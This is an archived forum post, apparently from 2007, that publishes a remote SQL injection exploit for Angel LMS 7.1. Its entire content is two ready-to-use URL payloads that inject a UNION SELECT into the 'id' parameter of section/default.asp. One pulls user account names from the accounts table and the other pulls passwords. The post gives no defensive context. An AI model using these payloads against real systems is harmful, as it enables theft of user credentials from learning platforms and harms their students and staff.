PDA

Bekijk Volledige Versie : Angel LMS 7.1 - Remote SQL Injection



Guns@inbox.com
01/03/07, 20:03
# Angel LMS 7.1 Remote SQL Injection
# by Guns

#All User Accounts#
http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20user name%20from%20accounts--"

#Account Passwords#
http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20pass word%20from%20accounts--"